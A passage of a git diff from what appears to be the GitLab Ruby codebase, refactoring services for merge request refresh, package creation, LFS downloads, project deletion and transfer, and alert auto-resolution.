+ end
- merge_requests_for_source_branch.each do |merge_request|
- outdate_service.execute(merge_request)
- end
+ def outdate_service
+ @outdate_service ||= Suggestions::OutdateService.new
end
- def refresh_pipelines_on_merge_requests
- merge_requests_for_source_branch.each do |merge_request|
- create_pipeline_for(merge_request, current_user)
- UpdateHeadPipelineForMergeRequestWorker.perform_async(merge_request.id)
- end
+ def refresh_pipelines_on_merge_requests(merge_request)
+ create_pipeline_for(merge_request, current_user)
+
+ UpdateHeadPipelineForMergeRequestWorker.perform_async(merge_request.id)
end
- def abort_auto_merges
- merge_requests_for_source_branch.each do |merge_request|
- abort_auto_merge(merge_request, 'source branch was updated')
- end
+ def abort_auto_merges(merge_request)
+ abort_auto_merge(merge_request, 'source branch was updated')
end
def abort_ff_merge_requests_with_when_pipeline_succeeds
@@ -187,10 +197,8 @@ module MergeRequests
.with_auto_merge_enabled
end
- def mark_pending_todos_done
- merge_requests_for_source_branch.each do |merge_request|
- todo_service.merge_request_push(merge_request, @current_user)
- end
+ def mark_pending_todos_done(merge_request)
+ todo_service.merge_request_push(merge_request, @current_user)
end
def find_new_commits
@@ -218,62 +226,54 @@ module MergeRequests
end
# Add comment about branches being deleted or added to merge requests
- def comment_mr_branch_presence_changed
+ def comment_mr_branch_presence_changed(merge_request)
presence = @push.branch_added? ? :add : :delete
- merge_requests_for_source_branch.each do |merge_request|
- SystemNoteService.change_branch_presence(
- merge_request, merge_request.project, @current_user,
- :source, @push.branch_name, presence)
- end
+ SystemNoteService.change_branch_presence(
+ merge_request, merge_request.project, @current_user,
+ :source, @push.branch_name, presence)
end
# Add comment about pushing new commits to merge requests and send nofitication emails
- def notify_about_push
+ def notify_about_push(merge_request)
return unless @commits.present?
- merge_requests_for_source_branch.each do |merge_request|
- mr_commit_ids = Set.new(merge_request.commit_shas)
+ mr_commit_ids = Set.new(merge_request.commit_shas)
- new_commits, existing_commits = @commits.partition do |commit|
- mr_commit_ids.include?(commit.id)
- end
+ new_commits, existing_commits = @commits.partition do |commit|
+ mr_commit_ids.include?(commit.id)
+ end
- SystemNoteService.add_commits(merge_request, merge_request.project,
- @current_user, new_commits,
- existing_commits, @push.oldrev)
+ SystemNoteService.add_commits(merge_request, merge_request.project,
+ @current_user, new_commits,
+ existing_commits, @push.oldrev)
- notification_service.push_to_merge_request(merge_request, @current_user, new_commits: new_commits, existing_commits: existing_commits)
- end
+ notification_service.push_to_merge_request(merge_request, @current_user, new_commits: new_commits, existing_commits: existing_commits)
end
- def mark_mr_as_wip_from_commits
+ def mark_mr_as_wip_from_commits(merge_request)
return unless @commits.present?
- merge_requests_for_source_branch.each do |merge_request|
- commit_shas = merge_request.commit_shas
+ commit_shas = merge_request.commit_shas
- wip_commit = @commits.detect do |commit|
- commit.work_in_progress? && commit_shas.include?(commit.sha)
- end
+ wip_commit = @commits.detect do |commit|
+ commit.work_in_progress? && commit_shas.include?(commit.sha)
+ end
- if wip_commit && !merge_request.work_in_progress?
- merge_request.update(title: merge_request.wip_title)
- SystemNoteService.add_merge_request_wip_from_commit(
- merge_request,
- merge_request.project,
- @current_user,
- wip_commit
- )
- end
+ if wip_commit && !merge_request.work_in_progress?
+ merge_request.update(title: merge_request.wip_title)
+ SystemNoteService.add_merge_request_wip_from_commit(
+ merge_request,
+ merge_request.project,
+ @current_user,
+ wip_commit
+ )
end
end
# Call merge request webhook with update branches
- def execute_mr_web_hooks
- merge_requests_for_source_branch.each do |merge_request|
- execute_hooks(merge_request, 'update', old_rev: @push.oldrev)
- end
+ def execute_mr_web_hooks(merge_request)
+ execute_hooks(merge_request, 'update', old_rev: @push.oldrev)
end
# If the merge requests closes any issues, save this information in the
diff --git a/app/services/merge_requests/update_service.rb b/app/services/merge_requests/update_service.rb
index cf02158b629..1468bfd6bb6 100644
--- a/app/services/merge_requests/update_service.rb
+++ b/app/services/merge_requests/update_service.rb
@@ -24,8 +24,9 @@ module MergeRequests
old_labels = old_associations.fetch(:labels, [])
old_mentioned_users = old_associations.fetch(:mentioned_users, [])
old_assignees = old_associations.fetch(:assignees, [])
+ old_reviewers = old_associations.fetch(:reviewers, [])
- if has_changes?(merge_request, old_labels: old_labels, old_assignees: old_assignees)
+ if has_changes?(merge_request, old_labels: old_labels, old_assignees: old_assignees, old_reviewers: old_reviewers)
todo_service.resolve_todos_for_target(merge_request, current_user)
end
@@ -44,6 +45,8 @@ module MergeRequests
handle_assignees_change(merge_request, old_assignees) if merge_request.assignees != old_assignees
+ handle_reviewers_change(merge_request, old_reviewers) if merge_request.reviewers != old_reviewers
+
if merge_request.previous_changes.include?('target_branch') ||
merge_request.previous_changes.include?('source_branch')
merge_request.mark_as_unchecked
@@ -108,6 +111,10 @@ module MergeRequests
todo_service.reassigned_assignable(merge_request, current_user, old_assignees)
end
+ def handle_reviewers_change(merge_request, old_reviewers)
+ todo_service.reassigned_reviewable(merge_request, current_user, old_reviewers)
+ end
+
def create_branch_change_note(issuable, branch_type, old_branch, new_branch)
SystemNoteService.change_branch(
issuable, issuable.project, current_user, branch_type,
diff --git a/app/services/metrics/dashboard/custom_metric_embed_service.rb b/app/services/metrics/dashboard/custom_metric_embed_service.rb
index 229bd17f5cf..eff1db21aff 100644
--- a/app/services/metrics/dashboard/custom_metric_embed_service.rb
+++ b/app/services/metrics/dashboard/custom_metric_embed_service.rb
@@ -31,7 +31,7 @@ module Metrics
# A group title is valid if it is one of the limited
# options the user can select in the UI.
def valid_group_title?(group)
- PrometheusMetricEnums
+ Enums::PrometheusMetric
.custom_group_details
.map { |_, details| details[:group_title] }
.include?(group)
@@ -99,12 +99,12 @@ module Metrics
# Returns a symbol representing the group that
# the dashboard's group title belongs to.
# It will be one of the keys found under
- # PrometheusMetricEnums.custom_groups.
+ # Enums::PrometheusMetric.custom_groups.
#
# @return [String]
def group_key
strong_memoize(:group_key) do
- PrometheusMetricEnums
+ Enums::PrometheusMetric
.group_details
.find { |_, details| details[:group_title] == group }
.first
diff --git a/app/services/notes/create_service.rb b/app/services/notes/create_service.rb
index 4f2329a42f2..e26f662a697 100644
--- a/app/services/notes/create_service.rb
+++ b/app/services/notes/create_service.rb
@@ -2,6 +2,8 @@
module Notes
class CreateService < ::Notes::BaseService
+ include IncidentManagement::UsageData
+
def execute
note = Notes::BuildService.new(project, current_user, params.except(:merge_request_diff_head_sha)).execute
@@ -62,6 +64,7 @@ module Notes
clear_noteable_diffs_cache(note)
Suggestions::CreateService.new(note).execute
increment_usage_counter(note)
+ track_event(note, current_user)
if Feature.enabled?(:notes_create_service_tracking, project)
Gitlab::Tracking.event('Notes::CreateService', 'execute', tracking_data_for(note))
@@ -104,5 +107,11 @@ module Notes
value: note.id
}
end
+
+ def track_event(note, user)
+ return unless note.noteable.is_a?(Issue) && note.noteable.incident?
+
+ track_usage_event(:incident_management_incident_comment, user.id)
+ end
end
end
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index 909a0033d12..731d72c41d4 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -35,6 +35,12 @@ class NotificationService
@async ||= Async.new(self)
end
+ def disabled_two_factor(user)
+ return unless user.can?(:receive_notifications)
+
+ mailer.disabled_two_factor_email(user).deliver_later
+ end
+
# Always notify user about ssh key added
# only if ssh key is not deploy key
#
diff --git a/app/services/packages/composer/create_package_service.rb b/app/services/packages/composer/create_package_service.rb
index ad5d267698b..7e16fc78599 100644
--- a/app/services/packages/composer/create_package_service.rb
+++ b/app/services/packages/composer/create_package_service.rb
@@ -2,7 +2,7 @@
module Packages
module Composer
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
include ::Gitlab::Utils::StrongMemoize
def execute
@@ -21,10 +21,7 @@ module Packages
private
def created_package
- project
- .packages
- .composer
- .safe_find_or_create_by!(name: package_name, version: package_version)
+ find_or_create_package!(:composer, name: package_name, version: package_version)
end
def composer_json
diff --git a/app/services/packages/conan/create_package_service.rb b/app/services/packages/conan/create_package_service.rb
index 22a0436c5fb..35046d8776e 100644
--- a/app/services/packages/conan/create_package_service.rb
+++ b/app/services/packages/conan/create_package_service.rb
@@ -2,12 +2,11 @@
module Packages
module Conan
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
def execute
- project.packages.create!(
+ create_package!(:conan,
name: params[:package_name],
version: params[:package_version],
- package_type: :conan,
conan_metadatum_attributes: {
package_username: params[:package_username],
package_channel: params[:package_channel]
diff --git a/app/services/packages/create_package_service.rb b/app/services/packages/create_package_service.rb
new file mode 100644
index 00000000000..397a5f74e0a
--- /dev/null
+++ b/app/services/packages/create_package_service.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Packages
+ class CreatePackageService < BaseService
+ protected
+
+ def find_or_create_package!(package_type, name: params[:name], version: params[:version])
+ project
+ .packages
+ .with_package_type(package_type)
+ .safe_find_or_create_by!(name: name, version: version) do |pkg|
+ pkg.creator = package_creator
+ end
+ end
+
+ def create_package!(package_type, attrs = {})
+ project
+ .packages
+ .with_package_type(package_type)
+ .create!(package_attrs(attrs))
+ end
+
+ private
+
+ def package_attrs(attrs)
+ {
+ creator: package_creator,
+ name: params[:name],
+ version: params[:version]
+ }.merge(attrs)
+ end
+
+ def package_creator
+ current_user if current_user.is_a?(User)
+ end
+ end
+end
diff --git a/app/services/packages/maven/create_package_service.rb b/app/services/packages/maven/create_package_service.rb
index aca5d28ca98..3df17021499 100644
--- a/app/services/packages/maven/create_package_service.rb
+++ b/app/services/packages/maven/create_package_service.rb
@@ -1,15 +1,12 @@
# frozen_string_literal: true
module Packages
module Maven
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
def execute
app_group, _, app_name = params[:name].rpartition('/')
app_group.tr!('/', '.')
- package = project.packages.create!(
- name: params[:name],
- version: params[:version],
- package_type: :maven,
+ package = create_package!(:maven,
maven_metadatum_attributes: {
path: params[:path],
app_group: app_group,
diff --git a/app/services/packages/npm/create_package_service.rb b/app/services/packages/npm/create_package_service.rb
index cf927683ce9..7f868b71734 100644
--- a/app/services/packages/npm/create_package_service.rb
+++ b/app/services/packages/npm/create_package_service.rb
@@ -1,24 +1,21 @@
# frozen_string_literal: true
module Packages
module Npm
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
include Gitlab::Utils::StrongMemoize
def execute
return error('Version is empty.', 400) if version.blank?
return error('Package already exists.', 403) if current_package_exists?
+ return error('File is too large.', 400) if file_size_exceeded?
- ActiveRecord::Base.transaction { create_package! }
+ ActiveRecord::Base.transaction { create_npm_package! }
end
private
- def create_package!
- package = project.packages.create!(
- name: name,
- version: version,
- package_type: 'npm'
- )
+ def create_npm_package!
+ package = create_package!(:npm, name: name, version: version)
if build.present?
package.create_build_info!(pipeline: build.pipeline)
@@ -86,6 +83,10 @@ module Packages
_version, versions_data = params[:versions].first
versions_data
end
+
+ def file_size_exceeded?
+ project.actual_limits.exceeded?(:npm_max_file_size, attachment['length'].to_i)
+ end
end
end
end
diff --git a/app/services/packages/nuget/create_dependency_service.rb b/app/services/packages/nuget/create_dependency_service.rb
index 2be5db732f6..19143fe3778 100644
--- a/app/services/packages/nuget/create_dependency_service.rb
+++ b/app/services/packages/nuget/create_dependency_service.rb
@@ -41,7 +41,7 @@ module Packages
}
end
- ::Gitlab::Database.bulk_insert(::Packages::Nuget::DependencyLinkMetadatum.table_name, rows.compact)
+ ::Gitlab::Database.bulk_insert(::Packages::Nuget::DependencyLinkMetadatum.table_name, rows.compact) # rubocop:disable Gitlab/BulkInsert
end
def raw_dependency_for(dependency)
diff --git a/app/services/packages/nuget/create_package_service.rb b/app/services/packages/nuget/create_package_service.rb
index 68ad7f028e4..3999ccd3347 100644
--- a/app/services/packages/nuget/create_package_service.rb
+++ b/app/services/packages/nuget/create_package_service.rb
@@ -2,12 +2,12 @@
module Packages
module Nuget
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
TEMPORARY_PACKAGE_NAME = 'NuGet.Temporary.Package'
PACKAGE_VERSION = '0.0.0'
def execute
- project.packages.nuget.create!(
+ create_package!(:nuget,
name: TEMPORARY_PACKAGE_NAME,
version: "#{PACKAGE_VERSION}-#{uuid}"
)
diff --git a/app/services/packages/pypi/create_package_service.rb b/app/services/packages/pypi/create_package_service.rb
index 1313fc80e33..c49efca0fc5 100644
--- a/app/services/packages/pypi/create_package_service.rb
+++ b/app/services/packages/pypi/create_package_service.rb
@@ -2,16 +2,22 @@
module Packages
module Pypi
- class CreatePackageService < BaseService
+ class CreatePackageService < ::Packages::CreatePackageService
include ::Gitlab::Utils::StrongMemoize
def execute
::Packages::Package.transaction do
- Packages::Pypi::Metadatum.upsert(
- package_id: created_package.id,
+ meta = Packages::Pypi::Metadatum.new(
+ package: created_package,
required_python: params[:requires_python]
)
+ unless meta.valid?
+ raise ActiveRecord::RecordInvalid.new(meta)
+ end
+
+ Packages::Pypi::Metadatum.upsert(meta.attributes)
+
::Packages::CreatePackageFileService.new(created_package, file_params).execute
end
end
@@ -20,10 +26,7 @@ module Packages
def created_package
strong_memoize(:created_package) do
- project
- .packages
- .pypi
- .safe_find_or_create_by!(name: params[:name], version: params[:version])
+ find_or_create_package!(:pypi)
end
end
diff --git a/app/services/packages/update_tags_service.rb b/app/services/packages/update_tags_service.rb
index da50cd3479e..adfad52910e 100644
--- a/app/services/packages/update_tags_service.rb
+++ b/app/services/packages/update_tags_service.rb
@@ -15,7 +15,7 @@ module Packages
tags_to_create = @tags - existing_tags
@package.tags.with_name(tags_to_destroy).delete_all if tags_to_destroy.any?
- ::Gitlab::Database.bulk_insert(Packages::Tag.table_name, rows(tags_to_create)) if tags_to_create.any?
+ ::Gitlab::Database.bulk_insert(Packages::Tag.table_name, rows(tags_to_create)) if tags_to_create.any? # rubocop:disable Gitlab/BulkInsert
end
private
diff --git a/app/services/pages/delete_service.rb b/app/services/pages/delete_service.rb
index 7408943e78c..fc5d01a93a1 100644
--- a/app/services/pages/delete_service.rb
+++ b/app/services/pages/delete_service.rb
@@ -3,8 +3,7 @@
module Pages
class DeleteService < BaseService
def execute
- project.remove_pages
- project.pages_domains.destroy_all # rubocop: disable Cop/DestroyAll
+ PagesRemoveWorker.perform_async(project.id)
end
end
end
diff --git a/app/services/product_analytics/build_activity_graph_service.rb b/app/services/product_analytics/build_activity_graph_service.rb
new file mode 100644
index 00000000000..63108d76afd
--- /dev/null
+++ b/app/services/product_analytics/build_activity_graph_service.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ProductAnalytics
+ class BuildActivityGraphService < BuildGraphService
+ def execute
+ timerange = @params[:timerange].days
+
+ results = product_analytics_events.count_collector_tstamp_by_day(timerange)
+
+ format_results('collector_tstamp', results.transform_keys(&:to_date))
+ end
+ end
+end
diff --git a/app/services/product_analytics/build_graph_service.rb b/app/services/product_analytics/build_graph_service.rb
index 31f9f093bb9..da54ad4de0e 100644
--- a/app/services/product_analytics/build_graph_service.rb
+++ b/app/services/product_analytics/build_graph_service.rb
@@ -13,15 +13,19 @@ module ProductAnalytics
results = product_analytics_events.count_by_graph(graph, timerange)
+ format_results(graph, results)
+ end
+
+ private
+
+ def format_results(name, results)
{
- id: graph,
+ id: name,
keys: results.keys,
values: results.values
}
end
- private
-
def product_analytics_events
@project.product_analytics_events
end
diff --git a/app/services/projects/after_rename_service.rb b/app/services/projects/after_rename_service.rb
index 2a35a07d555..a2cdb87e631 100644
--- a/app/services/projects/after_rename_service.rb
+++ b/app/services/projects/after_rename_service.rb
@@ -96,9 +96,19 @@ module Projects
.rename_project(path_before, project_path, namespace_full_path)
end
- Gitlab::PagesTransfer
- .new
- .rename_project(path_before, project_path, namespace_full_path)
+ if project.pages_deployed?
+ # Block will be evaluated in the context of project so we need
+ # to bind to a local variable to capture it, as the instance
+ # variable and method aren't available on Project
+ path_before_local = @path_before
+
+ project.run_after_commit_or_now do
+ Gitlab::PagesTransfer
+ .new
+ .async
+ .rename_project(path_before_local, path, namespace.full_path)
+ end
+ end
end
def log_completion
@@ -110,8 +120,7 @@ module Projects
def migrate_to_hashed_storage?
Gitlab::CurrentSettings.hashed_storage_enabled? &&
- project.storage_upgradable? &&
- Feature.disabled?(:skip_hashed_storage_upgrade)
+ project.storage_upgradable?
end
def send_move_instructions?
diff --git a/app/services/projects/alerting/notify_service.rb b/app/services/projects/alerting/notify_service.rb
index f883c8c7bd8..bfce5f1ad63 100644
--- a/app/services/projects/alerting/notify_service.rb
+++ b/app/services/projects/alerting/notify_service.rb
@@ -42,12 +42,39 @@ module Projects
end
def process_existing_alert(alert)
- alert.register_new_event!
+ if am_alert_params[:ended_at].present?
+ process_resolved_alert(alert)
+ else
+ alert.register_new_event!
+ end
+
+ alert
+ end
+
+ def process_resolved_alert(alert)
+ return unless auto_close_incident?
+
+ if alert.resolve(am_alert_params[:ended_at])
+ close_issue(alert.issue)
+ end
+
+ alert
+ end
+
+ def close_issue(issue)
+ return if issue.blank? || issue.closed?
+
+ ::Issues::CloseService
+ .new(project, User.alert_bot)
+ .execute(issue, system_note: false)
+
+ SystemNoteService.auto_resolve_prometheus_alert(issue, project, User.alert_bot) if issue.reset.closed?
end
def create_alert
- alert = AlertManagement::Alert.create(am_alert_params)
+ alert = AlertManagement::Alert.create(am_alert_params.except(:ended_at))
alert.execute_services if alert.persisted?
+ SystemNoteService.create_new_alert(alert, 'Generic Alert Endpoint')
alert
end
diff --git a/app/services/projects/container_repository/gitlab/delete_tags_service.rb b/app/services/projects/container_repository/gitlab/delete_tags_service.rb
index 18049648e26..cee94b994a3 100644
--- a/app/services/projects/container_repository/gitlab/delete_tags_service.rb
+++ b/app/services/projects/container_repository/gitlab/delete_tags_service.rb
@@ -5,6 +5,11 @@ module Projects
module Gitlab
class DeleteTagsService
include BaseServiceUtility
+ include ::Gitlab::Utils::StrongMemoize
+
+ DISABLED_TIMEOUTS = [nil, 0].freeze
+
+ TimeoutError = Class.new(StandardError)
def initialize(container_repository, tag_names)
@container_repository = container_repository
@@ -17,12 +22,42 @@ module Projects
def execute
return success(deleted: []) if @tag_names.empty?
+ delete_tags
+ rescue TimeoutError => e
+ ::Gitlab::ErrorTracking.track_exception(e, tags_count: @tag_names&.size, container_repository_id: @container_repository&.id)
+ error('timeout while deleting tags')
+ end
+
+ private
+
+ def delete_tags
+ start_time = Time.zone.now
+
deleted_tags = @tag_names.select do |name|
+ raise TimeoutError if timeout?(start_time)
+
@container_repository.delete_tag_by_name(name)
end
deleted_tags.any? ? success(deleted: deleted_tags) : error('could not delete tags')
end
+
+ def timeout?(start_time)
+ return false unless throttling_enabled?
+ return false if service_timeout.in?(DISABLED_TIMEOUTS)
+
+ (Time.zone.now - start_time) > service_timeout
+ end
+
+ def throttling_enabled?
+ strong_memoize(:feature_flag) do
+ Feature.enabled?(:container_registry_expiration_policies_throttling)
+ end
+ end
+
+ def service_timeout
+ ::Gitlab::CurrentSettings.current_application_settings.container_registry_delete_tags_service_timeout
+ end
end
end
end
diff --git a/app/services/projects/container_repository/third_party/delete_tags_service.rb b/app/services/projects/container_repository/third_party/delete_tags_service.rb
index 6504172109e..404642acf72 100644
--- a/app/services/projects/container_repository/third_party/delete_tags_service.rb
+++ b/app/services/projects/container_repository/third_party/delete_tags_service.rb
@@ -15,7 +15,7 @@ module Projects
# This is a hack as the registry doesn't support deleting individual
# tags. This code effectively pushes a dummy image and assigns the tag to it.
# This way when the tag is deleted only the dummy image is affected.
- # This is used to preverse compatibility with third-party registries that
+ # This is used to preserve compatibility with third-party registries that
# don't support fast delete.
# See https://gitlab.com/gitlab-org/gitlab/issues/15737 for a discussion
def execute
diff --git a/app/services/projects/create_service.rb b/app/services/projects/create_service.rb
index 33ed1151407..68b40fdd8f1 100644
--- a/app/services/projects/create_service.rb
+++ b/app/services/projects/create_service.rb
@@ -114,8 +114,13 @@ module Projects
# completes), and any other affected users in the background
def setup_authorizations
if @project.group
- current_user.project_authorizations.create!(project: @project,
- access_level: @project.group.max_member_access_for_user(current_user))
+ group_access_level = @project.group.max_member_access_for_user(current_user,
+ only_concrete_membership: true)
+
+ if group_access_level > GroupMember::NO_ACCESS
+ current_user.project_authorizations.create!(project: @project,
+ access_level: group_access_level)
+ end
if Feature.enabled?(:specialized_project_authorization_workers)
AuthorizedProjectUpdate::ProjectCreateWorker.perform_async(@project.id)
diff --git a/app/services/projects/destroy_service.rb b/app/services/projects/destroy_service.rb
index 37487261f2c..bec75657530 100644
--- a/app/services/projects/destroy_service.rb
+++ b/app/services/projects/destroy_service.rb
@@ -28,7 +28,7 @@ module Projects
Projects::UnlinkForkService.new(project, current_user).execute
- attempt_destroy_transaction(project)
+ attempt_destroy(project)
system_hook_service.execute_hooks_for(project, :destroy)
log_info("Project \"#{project.full_path}\" was deleted")
@@ -98,29 +98,35 @@ module Projects
log_error("Deletion failed on #{project.full_path} with the following message: #{message}")
end
- def attempt_destroy_transaction(project)
+ def attempt_destroy(project)
unless remove_registry_tags
raise_error(s_('DeleteProject|Failed to remove some tags in project container registry. Please try again or contact administrator.'))
end
project.leave_pool_repository
- Project.transaction do
- log_destroy_event
- trash_relation_repositories!
- trash_project_repositories!
-
- # Rails attempts to load all related records into memory before
- # destroying: https://github.com/rails/rails/issues/22510
- # This ensures we delete records in batches.
- #
- # Exclude container repositories because its before_destroy would be
- # called multiple times, and it doesn't destroy any database records.
- project.destroy_dependent_associations_in_batches(exclude: [:container_repositories, :snippets])
- project.destroy!
+ if Gitlab::Ci::Features.project_transactionless_destroy?(project)
+ destroy_project_related_records(project)
+ else
+ Project.transaction { destroy_project_related_records(project) }
end
end
+ def destroy_project_related_records(project)
+ log_destroy_event
+ trash_relation_repositories!
+ trash_project_repositories!
+
+ # Rails attempts to load all related records into memory before
+ # destroying: https://github.com/rails/rails/issues/22510
+ # This ensures we delete records in batches.
+ #
+ # Exclude container repositories because its before_destroy would be
+ # called multiple times, and it doesn't destroy any database records.
+ project.destroy_dependent_associations_in_batches(exclude: [:container_repositories, :snippets])
+ project.destroy!
+ end
+
def log_destroy_event
log_info("Attempting to destroy #{project.full_path} (#{project.id})")
end
diff --git a/app/services/projects/download_service.rb b/app/services/projects/download_service.rb
index aba175eb79b..9810db84605 100644
--- a/app/services/projects/download_service.rb
+++ b/app/services/projects/download_service.rb
@@ -27,7 +27,7 @@ module Projects
end
def http?(url)
- url =~ /\A#{URI.regexp(%w(http https))}\z/
+ url =~ /\A#{URI::DEFAULT_PARSER.make_regexp(%w(http https))}\z/
end
def valid_domain?(url)
diff --git a/app/services/projects/fork_service.rb b/app/services/projects/fork_service.rb
index bb660d47887..0b4963e356a 100644
--- a/app/services/projects/fork_service.rb
+++ b/app/services/projects/fork_service.rb
@@ -10,8 +10,8 @@ module Projects
forked_project
end
- def valid_fork_targets
- @valid_fork_targets ||= ForkTargetsFinder.new(@project, current_user).execute
+ def valid_fork_targets(options = {})
+ @valid_fork_targets ||= ForkTargetsFinder.new(@project, current_user).execute(options)
end
def valid_fork_target?(namespace = target_namespace)
diff --git a/app/services/projects/lfs_pointers/lfs_download_service.rb b/app/services/projects/lfs_pointers/lfs_download_service.rb
index 52c73bcff03..d6e5b825e13 100644
--- a/app/services/projects/lfs_pointers/lfs_download_service.rb
+++ b/app/services/projects/lfs_pointers/lfs_download_service.rb
@@ -6,6 +6,9 @@ module Projects
class LfsDownloadService < BaseService
SizeError = Class.new(StandardError)
OidError = Class.new(StandardError)
+ ResponseError = Class.new(StandardError)
+
+ LARGE_FILE_SIZE = 1.megabytes
attr_reader :lfs_download_object
delegate :oid, :size, :credentials, :sanitized_url, to: :lfs_download_object, prefix: :lfs
@@ -19,6 +22,7 @@ module Projects
def execute
return unless project&.lfs_enabled? && lfs_download_object
return error("LFS file with oid #{lfs_oid} has invalid attributes") unless lfs_download_object.valid?
+ return link_existing_lfs_object! if Feature.enabled?(:lfs_link_existing_object, project, default_enabled: true) && lfs_size > LARGE_FILE_SIZE && lfs_object
wrap_download_errors do
download_lfs_file!
@@ -29,7 +33,7 @@ module Projects
def wrap_download_errors(&block)
yield
- rescue SizeError, OidError, StandardError => e
+ rescue SizeError, OidError, ResponseError, StandardError => e
error("LFS file with oid #{lfs_oid} could't be downloaded from #{lfs_sanitized_url}: #{e.message}")
end
@@ -56,15 +60,13 @@ module Projects
def download_and_save_file!(file)
digester = Digest::SHA256.new
- response = Gitlab::HTTP.get(lfs_sanitized_url, download_headers) do |fragment|
+ fetch_file do |fragment|
digester << fragment
file.write(fragment)
raise_size_error! if file.size > lfs_size
end
- raise StandardError, "Received error code #{response.code}" unless response.success?
-
raise_size_error! if file.size != lfs_size
raise_oid_error! if digester.hexdigest != lfs_oid
end
@@ -78,6 +80,12 @@ module Projects
end
end
+ def fetch_file(&block)
+ response = Gitlab::HTTP.get(lfs_sanitized_url, download_headers, &block)
+
+ raise ResponseError, "Received error code #{response.code}" unless response.success?
+ end
+
def with_tmp_file
create_tmp_storage_dir
@@ -123,6 +131,29 @@ module Projects
super
end
+
+ def lfs_object
+ @lfs_object ||= LfsObject.find_by_oid(lfs_oid)
+ end
+
+ def link_existing_lfs_object!
+ existing_file = lfs_object.file.open
+ buffer_size = 0
+ result = fetch_file do |fragment|
+ unless fragment == existing_file.read(fragment.size)
+ break error("LFS file with oid #{lfs_oid} cannot be linked with an existing LFS object")
+ end
+
+ buffer_size += fragment.size
+ break success if buffer_size > LARGE_FILE_SIZE
+ end
+
+ project.lfs_objects << lfs_object
+
+ result
+ ensure
+ existing_file&.close
+ end
end
end
end
diff --git a/app/services/projects/open_issues_count_service.rb b/app/services/projects/open_issues_count_service.rb
index 82632d63e5b..dc450311db2 100644
--- a/app/services/projects/open_issues_count_service.rb
+++ b/app/services/projects/open_issues_count_service.rb
@@ -68,10 +68,12 @@ module Projects
# Check https://gitlab.com/gitlab-org/gitlab-foss/issues/38418 description.
# rubocop: disable CodeReuse/ActiveRecord
def self.query(projects, public_only: true)
+ issues_filtered_by_type = Issue.opened.with_issue_type(Issue::TYPES_FOR_LIST)
+
if public_only
- Issue.opened.public_only.where(project: projects)
+ issues_filtered_by_type.public_only.where(project: projects)
else
- Issue.opened.where(project: projects)
+ issues_filtered_by_type.where(project: projects)
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/services/projects/propagate_service_template.rb b/app/services/projects/propagate_service_template.rb
deleted file mode 100644
index 54d09b354a1..00000000000
--- a/app/services/projects/propagate_service_template.rb
+++ /dev/null
@@ -1,83 +0,0 @@
-# frozen_string_literal: true
-
-module Projects
- class PropagateServiceTemplate
- BATCH_SIZE = 100
-
- delegate :data_fields_present?, to: :template
-
- def self.propagate(template)
- new(template).propagate
- end
-
- def initialize(template)
- @template = template
- end
-
- def propagate
- return unless template.active?
-
- propagate_projects_with_template
- end
-
- private
-
- attr_reader :template
-
- def propagate_projects_with_template
- loop do
- batch = Project.uncached { Project.ids_without_integration(template, BATCH_SIZE) }
-
- bulk_create_from_template(batch) unless batch.empty?
-
- break if batch.size < BATCH_SIZE
- end
- end
-
- def bulk_create_from_template(batch)
- service_list = ServiceList.new(batch, service_hash).to_array
-
- Project.transaction do
- results = bulk_insert(*service_list)
-
- if data_fields_present?
- data_list = DataList.new(results, data_fields_hash, template.data_fields.class).to_array
-
- bulk_insert(*data_list)
- end
-
- run_callbacks(batch)
- end
- end
-
- def bulk_insert(klass, columns, values_array)
- items_to_insert = values_array.map { |array| Hash[columns.zip(array)] }
-
- klass.insert_all(items_to_insert, returning: [:id])
- end
-
- def service_hash
- @service_hash ||= template.to_service_hash
- end
-
- def data_fields_hash
- @data_fields_hash ||= template.to_data_fields_hash
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def run_callbacks(batch)
- if template.issue_tracker?
- Project.where(id: batch).update_all(has_external_issue_tracker: true)
- end
-
- if active_external_wiki?
- Project.where(id: batch).update_all(has_external_wiki: true)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def active_external_wiki?
- template.type == 'ExternalWikiService'
- end
- end
-end
diff --git a/app/services/projects/transfer_service.rb b/app/services/projects/transfer_service.rb
index 0fb70feec86..dba5177718d 100644
--- a/app/services/projects/transfer_service.rb
+++ b/app/services/projects/transfer_service.rb
@@ -88,15 +88,14 @@ module Projects
# Move uploads
move_project_uploads(project)
- # Move pages
- Gitlab::PagesTransfer.new.move_project(project.path, @old_namespace.full_path, @new_namespace.full_path)
-
project.old_path_with_namespace = @old_path
update_repository_configuration(@new_path)
execute_system_hooks
end
+
+ move_pages(project)
rescue Exception # rubocop:disable Lint/RescueException
rollback_side_effects
raise
@@ -181,6 +180,13 @@ module Projects
)
end
+ def move_pages(project)
+ return unless project.pages_deployed?
+
+ transfer = Gitlab::PagesTransfer.new.async
+ transfer.move_project(project.path, @old_namespace.full_path, @new_namespace.full_path)
+ end
+
def old_wiki_repo_path
"#{old_path}#{::Gitlab::GlRepository::WIKI.path_suffix}"
end
diff --git a/app/services/projects/unlink_fork_service.rb b/app/services/projects/unlink_fork_service.rb
index b3cf27373cd..52aea8c51a5 100644
--- a/app/services/projects/unlink_fork_service.rb
+++ b/app/services/projects/unlink_fork_service.rb
@@ -2,21 +2,13 @@
module Projects
class UnlinkForkService < BaseService
- # If a fork is given, it:
- #
- # - Saves LFS objects to the root project
- # - Close existing MRs coming from it
- # - Is removed from the fork network
- #
- # If a root of fork(s) is given, it does the same,
- # but not updating LFS objects (there'll be no related root to cache it).
+ # Close existing MRs coming from the project and remove it from the fork network
def execute
fork_network = @project.fork_network
+ forked_from = @project.forked_from_project
return unless fork_network
- save_lfs_objects
-
merge_requests = fork_network
.merge_requests
.opened
@@ -41,7 +33,7 @@ module Projects
# When the project getting out of the network is a node with parent
# and children, both the parent and the node needs a cache refresh.
